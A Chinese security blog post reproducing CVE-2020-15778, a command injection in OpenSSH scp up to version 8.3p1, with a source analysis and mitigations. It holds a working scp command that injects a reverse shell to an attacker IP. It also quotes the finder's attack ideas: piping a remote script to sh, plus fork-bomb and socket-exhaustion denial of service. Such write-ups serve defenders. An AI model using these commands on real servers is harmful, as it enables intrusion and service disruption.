> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/6HUPL19bSr2Ccco0qd5tQw)
上方蓝色字体关注我们,一起学安全!
作者:Menge & 小泫 @Timeline Sec
本文字数:1160
阅读时长:3~4min
声明:请勿用作违法用途,否则后果自负
0x01 简介
OpenSSH 是 SSH(Secure SHell)协议的免费开源实现。OpenSSH 是个 SSH 的软件,linux/unix 都用 openssh 软件提供 SSH 服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
0x02 漏洞概述
该漏洞编号 CVE-2020-15778。OpenSSH 的 8.3p1 及之前版本中的 scp 允许在 scp.c 远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数 linux 系统受影响。
0x03 影响版本
openssh <= openssh-8.3p1
0x04 环境搭建
为
未安装 ssh:
进行安装
sudo apt-get install openssh-client
已安装 ssh:
ssh -V 查看版本信息
0x05 漏洞复现
前提:需要知道目标 ssh 账号密码
目标:192.168.233.130
本机:192.168.233.140
执行命令:
scp /tmp/hello.txt [email protected]:'\`bash -i >& /dev/tcp/192.168.233.140/9999 0>&1\`'
将本地文件复制到远程机器,本来后面跟的是文件名,但是由于未正确过滤其中的特殊字符导致命令注入。
0x06 漏洞分析
在使用 scp 远程传输文件时, 正常使用是这样的
scp SourceFile user@host:目录/TargetFile
在执行上面这条命令时会执行一个本地命令
scp -t 目录/TargetFile
对应源码如下:
源码地址:
https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989
由此可以看到对用户输入的目录没有做过滤,导致攻击者可以利用反引号(` `)可以执行一些 shell 命令。
反引号在 linux 中的作用:
反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被 shell 解释为命令行,在执行时,shell 首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的 `date -d '-1 day' +%Y%m%d` 就是把这条命令的结果赋给变量 OPDATE。
0x07 经验总结
下面来看看发现漏洞的作者是怎么总结的:
1、攻击者可以 poweroff 在文件名中放入 “” 或“ 叉子炸弹”,它会导致服务器崩溃或重新启动,这将导致 DOS 攻击。
2、攻击者可以使用 bash 绑定外壳之类的各种技巧来获取绑定 / 反向外壳,或执行 “wget https://unknownsource.com/possfullydangerous.sh -O- | sh” 之类的 sh 文件。
3、由于 SHELL 首先执行 backtick 命令,然后执行 scp 命令,因此我们可以在 backtick 中编写一个无限循环,这将导致套接字长时间打开。多次此类攻击将不会为新连接留下套接字,并会导致 DDOS。
对于用户来说,ssh 被阻止,但 authorized_keys 文件中的命令选项允许使用 scp 的情况。您可以绕过此限制并在远程服务器上执行命令。
我翻阅了大量资料,这一篇讲 authorized_keys 文件说明较为详细:
https://www.ibm.com/support/knowledgecenter/en/SSLTBW\_2.3.0/com.ibm.zos.v2r3.foto100/authkeyf.htm
在某些情况下,确实是有它的价值的,我在 google(国内查不到 authorized_keys 的资料) 上查到有人设置,authorized_keys 允许 SCP 但不允许使用 SSH 实际登录,当然可能较少,在这种情况下,漏洞显得很有作用了。
0x08 修复方式
1、周期性的更换密码或密钥
2、使用 rsync 代替 scp
参考链接:
https://github.com/cpandya2909/CVE-2020-15778/
**阅读原文看更多复现文章
**
Timeline Sec 团队
安全路上,与你并肩前行